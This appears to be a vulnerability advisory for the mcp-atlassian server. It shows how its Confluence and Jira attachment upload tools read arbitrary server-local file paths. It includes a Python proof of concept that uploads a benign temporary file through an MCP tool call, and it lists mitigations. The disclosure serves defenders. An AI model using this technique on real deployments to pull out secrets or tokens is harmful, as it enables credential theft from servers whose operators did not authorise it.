Summary

Details

• mcp atlassian.confluence.attachments.AttachmentsMixin.upload attachment
• Accepts file path.
• Converts the supplied value to an absolute path when needed.
• Checks existence with os.path.exists.
• Passes the path into the attachment upload flow.
• mcp atlassian.confluence.attachments.AttachmentsMixin. upload attachment direct
• Opens the supplied file path with open(file path, "rb").
• Sends the resulting file object as multipart form data to Confluence.
• mcp atlassian.confluence.attachments.AttachmentsMixin.upload attachments
• Iterates caller-supplied file paths.
• Calls upload attachment for each path.
• mcp atlassian.jira.attachments.AttachmentsMixin.upload attachment
• Accepts file path.
• Converts the supplied value to an absolute path when needed.
• Checks existence with os.path.exists.
• Opens the file and uploads it as a Jira attachment.
• mcp atlassian.jira.attachments.AttachmentsMixin.upload attachments
• Iterates caller-supplied file paths.
• Calls upload attachment for each path.
• mcp atlassian.servers.jira.update issue
• Accepts an attachments argument as a JSON array string or comma-separated string.
• Converts it into attachment paths and passes them into the Jira update flow.

• sse
• streamable-http
• multi-user authentication
• Docker and Kubernetes deployment

• Server-local file uploads should be denied by default in HTTP/SSE or multi-user deployments, or
• Uploads should be constrained to an explicit allowlisted upload directory after realpath resolution, and
• Dangerous path forms such as remote UNC paths and file:// URLs should be rejected before filesystem checks.

PoC

• A test Confluence site.
• A test page content ID where the tester is allowed to upload attachments.
• A test Confluence API token or another supported authentication method.
• Python 3.10 or newer.

docker run --rm -p 9000:9000 
 -e CONFLUENCE URL="https://<your-test-site>.atlassian.net/wiki" 
 -e CONFLUENCE USERNAME="<tester-email>" 
 -e CONFLUENCE API TOKEN="<tester-api-token>" 
 ghcr.io/sooperset/mcp-atlassian:latest 
 --transport streamable-http --host 0.0.0.0 --port 9000

python -m pip install "mcp>=1.8.0"

import asyncio
import os
import tempfile
from pathlib import Path

from mcp import ClientSession
from mcp.client.streamable http import streamablehttp client


async def main() -> None:
  mcp url = os.environ.get("MCP URL", "http://127.0.0.1:9000/mcp")
  content id = os.environ["CONFLUENCE CONTENT ID"]

  proof dir = Path(tempfile.mkdtemp(prefix="mcp-atlassian-proof-"))
  proof file = proof dir / "server-local-proof.txt"
  proof file.write text(
    "This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.
",
    encoding="utf-8",
  )

  async with streamablehttp client(mcp url) as (read stream, write stream, ):
    async with ClientSession(read stream, write stream) as session:
      await session.initialize()
      result = await session.call tool(
        "confluence upload attachments",
        {
          "content id": content id,
          "file paths": str(proof file),
          "comment": "Security test: benign server-local upload proof",
          "minor edit": True,
        },
      )
      print(result)
      print(f"Uploaded test filename: {proof file.name}")


if  name  == " main ":
  asyncio.run(main())

CONFLUENCE CONTENT ID="<test-page-content-id>" python poc.py

1. The MCP client sends a normal confluence upload attachments tool call.
2. The MCP server reads the temporary file from its own filesystem.
3. The MCP server uploads that file as an attachment to the configured Confluence page.
4. The uploaded attachment appears on the test page.

• The MCP caller did not need shell access to the server.
• The MCP caller did not need direct filesystem access to the server.
• The MCP caller only needed permission to invoke the upload tool.
• The file read happened with the privileges of the MCP server process.

Impact

• Users running mcp-atlassian with write/upload tools enabled.
• Operators exposing mcp-atlassian through sse or streamable-http.
• Multi-user deployments where MCP callers are not fully trusted with arbitrary read access to the MCP server filesystem.
• Docker or Kubernetes deployments where the MCP process can read environment files, mounted secrets, service account tokens, application configuration, or shared volumes.

• A malicious or compromised MCP client with permission to invoke attachment upload tools.
• A malicious user in a multi-user MCP deployment.
• An attacker who can supply or influence MCP tool arguments through an integrated workflow.

• application configuration
• deployment secrets
• cloud or service credentials mounted into the runtime
• CI/CD or automation tokens
• other files available to the MCP server user

• Default-deny server-local path uploads in HTTP/SSE and multi-user deployments.
• Add an explicit opt-in flag for server-local upload paths.
• Require an allowlisted upload root and enforce it after realpath resolution.
• Reject file:// URLs and remote UNC path forms before any filesystem operation.
• Prefer client-provided file/resource blobs over server-local path strings for remote MCP deployments.